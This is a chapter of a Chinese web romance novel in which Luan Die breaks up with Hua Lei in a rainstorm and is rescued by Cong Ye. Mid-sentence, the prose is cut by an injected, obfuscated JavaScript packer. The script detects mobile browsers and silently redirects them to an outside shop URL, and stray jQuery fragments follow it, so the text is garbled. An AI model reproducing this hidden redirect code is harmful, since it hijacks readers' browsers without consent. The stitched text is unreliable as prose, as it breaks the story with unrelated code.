35.抉择的爱情

作品:《我前男友和前女友he了

    栾蝶消沉了三天,因为赌气,爸妈回去的时候,她也没送,日夜失眠,回想起那些伤人的话,她其实后悔了。


    她不应该对自己的妈妈那样,她就是气急了,脑子被驴踢了,才会口不择言,心里无比懊恼自责但又拂不下面子道歉,再过十几天,就是妈妈的生日了,早在一个月前她就选好礼物了,但现在也不知道,届时该怎么送出手。


    栾蝶趴在床上,挺尸一般,一动不动。


    宿舍里一时很安静,只有空调的运转声。


    乔麦荞在图书馆,她最近情绪也不高,陈优一是个哑巴,不知道在下面干什么,一点声音都没有。


    至于二号床,空了许久了。


    识璐,她应该怨她吗?


    真奇怪,她对自己的妈妈这么斤斤计较,但是对识璐,居然还在纠结该不该责怪。


    万千愁绪,但很多时候,想想也不过是庸人自扰,自讨苦吃,兴许她就是有病,栾蝶不轻不重扇了自己一下,好教自己清醒。


    栾蝶追问了花泪三天,但她就是不肯告诉她,和林孝柔说了什么。


    所有人,都在无形之中逼迫她。


    妈妈在逼她和花泪分手,花泪在等她主动说分开,丛曳在等她放弃花泪选择他,识璐希望她和花泪和丛曳都不再有关系。


    栾蝶不想再自我折磨下去,她下定决心,今晚就去花泪在校外的宿舍,问个明白。


    今天的天气并不适合出行,绅京迎来了一年一度的雷雨期,隔几个小时就要下一场暴雨,但栾蝶就是叛逆,越是不想让她做成一件事,她就越要做。


    撑起伞,她就义无反顾跑出了学校,在一个潮湿闷哑的夜晚。


    过了两个红绿灯,她的裙子溅上了一些黑色的泥渍,运动鞋也脏兮兮的。


    就这么狼狈地出现在花泪的面前。


    让人始料未及。


    花泪问她要不要先洗个澡,她一口拒绝,她就站在门口,头发湿了大半,不死心地问她,究竟和她的妈妈说了什么。


    少女此刻的眼眸非常亮,像一湾湖水里的月亮,烁烁又忧伤。


    就在玄关之处,两个女孩子面对面站着,近在咫尺,但花泪望着,却感到遍体冰冷,时候到了,有一只蝴蝶即将飞去天涯海角。


    她在无声叹息。


    这个夜晚,她穿了一件简单的黑裙子,唯独肩口处绣了一只彩色的蝴蝶,在翩翩起舞,也给这单调的设计,带来了一丝活泼可爱。


    栾蝶则是缤繁复杂的碎花荷叶裙,绿色打底,沾上了许多雨水,像学校池塘里的一片莲叶,露水晶莹,无穷碧色①,就应该永远臻臻向上。


    她就这么湿漉漉地望着她。


    花泪是于心不忍的,但她还是笑着开了口,坦诚温柔:“庄庄,其实那天,你和丛曳在楼下接吻,我都看到了。”


    像天上的云朵掉下来,却转瞬变了色,唤来了一声雷霆霹雳。


    天地崩塌。


    栾蝶感觉自己的五脏内腑都被挤破,酸酸地流着血水。


    她像只吃惊的小动物,心虚,羞愧……默默往后缩,直到缩到脖子都看不见。


    花泪也不禁红了眼眶,她一把拉住她的手,认真地望着她的眼眸,一字一顿道:“庄庄,我不怪你,我很高兴,你有了喜欢的人,我就不会耽误你一辈子了,我心里的愧疚也能得到抚慰,我只希望你幸福,等你出嫁那天,我一定会给你准备最好的嫁妆。”


    “你永远都是我的妹妹。”她甚至笑得有些释怀。


    闪电在她的眼前晃过,栾蝶的心情都如同这天气一般,被深深刺痛。


    她倏得甩开了她的手。


    眼泪夺眶而出,再也压抑不住:“说来说去,其实,你就是不喜欢我吧。”


    她声音破碎,却有力,一语道破这残酷的真相。


    栾蝶恨恨地盯着她,也是无所顾忌了。


    “你知道吗,我宁愿你不这么宽宏大量,善解人意,是不是我跟一百个,一千个的男人纠缠不清,你都不在意啊?”


    她情绪激动,不能自已,眼底汹涌泛滥的让人已经分不清是爱还是恨。


    “花泪,你哪怕骂骂我,你打我,你吼我,你揍我,甚至用‘无耻’、‘不要脸’、‘淫\乱’这些字眼来形容我都是可以的,可你偏偏不”


    “你还要给我送上祝福,你好大方啊。”


    “你现在告诉我,当初,为什么答应我?”


    “为什么!”这句她是嘶吼出来的。


    雷声轰轰,越大越大,没有任何止消的迹象。


    花泪的神情全部被这无情的夜色湮没,她心痛难忍,羞愧地垂下头,道歉道:“对不起,庄庄。”


    “我知道你的执念太深,我想,你得到了,就会知道我根本没那么好,早晚你会不再执着于我。”


    “对不起,我骗了你,我伤害了你。”她哽咽。


    栾蝶还能说什么呢?


    从一开始,她和她在一起,就是打定主意让她死心。


    她们的开始不是爱,一开始就是结束。


    什么都能作假,唯独感情不能,哪怕你是天之骄子,你的人生再顺风顺水,但爱就是爱,不爱就是不爱,就是把心剖出来,人家不爱,也是无济于事,平白惹笑话。


    “好,好”,她苍白地点头,“我不会再逼你了,是我的错,是我一厢情愿,是我咎由自取。”


    “以后,我也不会再纠缠你了。”


    她痛心疾首,撕心裂肺,但也不得不说出口。


    真的失望了,这一次。


    她所有的勇气都已经耗尽。


    “庄庄,真的,也许你早就已经不爱我了,只是执念而已,放下吧”,花泪深深地望着她,心疼道。


    外面雨越下越大,她想把她拉进屋子里,但被她推开。


    她拿起地上的伞,重新打起来,竟是要冒大雨离开。


    花泪担忧,再三让她进来,栾蝶却固执得狠,撑起伞骨,“要么,你现在让我走,要么,我一辈子和你纠缠不清,就是藕断了丝还要连,你选一个。”少女勾着唇,眼里是胜券在握。


    花泪一口气堵在了胸腔,眼眸破碎,但还是慢慢放开了手。


    栾蝶轻轻笑了一声,抹去眼角泪水,一头跑向雨幕中,一次都没有回头。


    这是她的第一次爱情,某种意义上,轰轰烈烈地结束了。


    雨打在肌肤上,呛进鼻管,钻透眼睛,难受吗?


    痛吗?


    但不痛怎能一生铭记,不痛怎能刻骨铭心。


    就是要记住这种感受,以后才不会犯傻。


    路上几乎没有行人,车也没有,只有惨淡的路灯,栾蝶跑累了,摔倒在潮湿的石头上。


    她几乎要睁不开眼。


    闪电不停,让她有一种要被雷劈死的感觉。


    松开伞,开始思考,世界上有多少人是被雷劈死的,被雷击中劈死的概率是多少,这种死法是不是太丢人,太难看了?


    她想躺下,就在这里,自生自灭也好,反正她现在什么都不想想。


    她冷得直发抖,像生命垂危的小刺猬。


    “栾蝶,给我站起来!”


    天地混沌间,她似乎听到了有人在喊他的名字。


    栾蝶迟钝地仰起脖子,眼睛里全是水,但隐约还能认出,是丛曳。


    心里咯噔


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16812413|187912||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一下。


    栾蝶仿佛又清醒了。


    她还没站起来,男生就把她硬拖了起来。


    “趴好,我背你”,他明显有些生气。


    真是岂有此理,她都这么惨了,他还凶她,臭男人到底有没有人性!


    栾蝶气得一口咬上他的脖子,那块脊骨。


    丛曳痛的呵一声,颠了两下背上的人,嘲讽道:“还有咬人的力气,看来,还没疯的彻底。”


    也不知道触碰女生哪根神经,她一下子就哭了,然后捶打他:“你个混蛋,我都这样了,你还讽刺我,混蛋,王八蛋!”


    但这次,没换来男生的怜悯,只听他冷冷道:“活该,我早就知道,你只有被甩的份。”


    栾蝶更是气得用手揪他耳朵。


    “你就是来看我笑话的,我永远不会原谅你。”


    “行了,我还没训你呢。”


    少年开始正色训斥,他这次是一点情面都没留:“你知道你刚刚那个要死不活的样子多危险吗,万一你晕死过去,被车轧到,变成一滩肉泥,你让你爸爸妈妈怎么办,你不知道你一个女子在夜里有多危险吗,万一遇到坏人,侵犯你怎么办,如果只是好色都算好的了,万一,万一是人贩子,要贩卖你的器官,你一觉睡醒,发现自己少了一个肾,你能接受吗,万一断了你的一只手一只脚,让你从此行乞卖惨怎么办,万一把你拐进深山,从此沦为烂人传宗接代的工具怎么办,你一个成年人,为什么这么任性,栾蝶,就算你不为这世界上所有在乎你的人考虑,你也不多想想你自己吗,你对得起你自己吗?”


    栾蝶顿时被怼的哑口无言,她很想发火,但是丝毫不占理。


    于是她心扑通扑通的,说:“你背的我好难受,硌人,我不要你背了。”


    背人确实不怎么舒服。


    丛曳哼了一声,轻轻把她放下来,“手记得抱紧了。”


    他又把她横抱起。


    这个角度,他们可以面对面,将彼此看得一清二楚。


    栾蝶皱了皱眉头,大眼睛眨来眨去,打量他,迟疑道:“你哭了吗?”


    丛曳卡了一下,然后觑她:“那是雨水,笨蛋。”


    是吗?


    栾蝶凑近,想要看清,但没走几十步,丛曳将她放下了,两个人都站定,到酒店了。


    雨太大,丛曳不打算将她送回学校或者到他家。


    她浑身湿透,找个酒店,先洗个热水澡才是要紧的。


    其实,他们以前睡过一张床,在医院的时候。


    但丛曳还是说要两间。


    但是荒谬的事情发生了,前台说就剩一间双人床的房了。


    他发誓,他真没想这样。


    ……


    最后,栾蝶先去洗澡,裹了大浴巾,一层又一层,吹完头发立马钻进被窝里,然后开始下单买衣服。


    丛曳还好,他洗澡的时候,栾蝶已经把灯关了,只留了浴室给他,他是摸黑上的床。


    黑暗中,雨声中,彼此的呼吸似乎都是敞开的。


    栾蝶还在想花泪的事,半晌,她睡不着,主动开口:“丛曳,你知道花泪有个妹妹,叫花笑吗?”


    因为花泪总是一口一个妹妹,栾蝶,也不知怎么,突然对这个妹妹好奇了起来。


    闻言,隔壁床先是诧异了一声,然后语气复杂道:“花泪什么时候有过妹妹,我怎么不知道?”


    栾蝶也啊了一下,“叫花笑,十岁的时候走丢的,你们两家关系这么好,你不知道吗?”


    丛曳有些无语,“你是从哪瞎听的,花泪是独生女,没有妹妹。”


    他笑她:“世界上根本没有花笑这个人好吧。”